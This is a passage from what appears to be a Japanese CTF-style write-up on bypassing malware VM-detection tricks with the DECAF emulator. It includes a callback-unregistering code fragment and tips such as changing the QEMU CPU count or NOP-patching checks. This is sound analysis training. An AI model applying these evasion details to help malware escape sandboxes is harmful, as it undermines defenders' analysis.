insnbegin_handle); [+] insnbegin_handle = DECAF_NULL_HANDLE; [+] } [+] if (insnend_handle != DECAF_NULL_HANDLE) [+] { [+] DECAF_unregister_callback(DECAF_INSN_END_CB, insnend_handle); [+] insnend_handle = DECAF_NULL_HANDLE; [+] } }
上で偉そうなことを行ったが,実はこのコード,アドレスを書き換えたあと戻していなかったりする.戻さなくてもクラッシュしないプログラムだったので,面倒くさいからそのままにしておいた.良い子のみんなはちゃんと戻そう.
これで全てのトリックを回避できるはず.
回避するとフラグの文字列が出力される.洋書のタイトルのようだ.
最後に
説明したいことが多くて,必要以上に長くなってしまった.ここまで読み進めた人はお疲れ様でした.
全てのヒントはスライドの中に紛れ込んでいたりする.探してみるのもおもしろい.
スライドの情報のみだと説明が足りないので,DECAFの公式サイトやソースコードを読むのが一番役に立った.大規模なプログラムのソースを読み散らかすのは楽しい経験だったと思う.
マルウェアの仮想化回避はLevel2とLevel3のように同じやり方でも少し変えるだけで全く別のものになってしまう.いたちごっこな雰囲気を強く感じる演習だった.これはセキュリティベンダが苦労するわけだと思う.
セキュリティキャンプ全国ではこれを数時間でやらせることを考えると結構鬼畜。出たかったな・・・。
最後に、黒米さんと愛甲さん,楽しい時間をありがとうございました.
裏ワザ
- 仮想マシン起動時に
-smp 2,maxcpus=2
をつけて割り当てるプロセッサを2つにするとLevel2,3は無条件でクリアできる.Level4は不安定だから場合によってはLevel1を回避しただけでフラグまでたどり着ける. - Level4とか面倒くさいから,該当するバイナリを
NOP
に書き換えるのもあり?(未検証)
なんだこれ
QemuのありえないHz.CPUが溶けないなら欲しい性能.
参考
Win32 Thread Information Block - Wikipedia, the free encyclopedia
https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf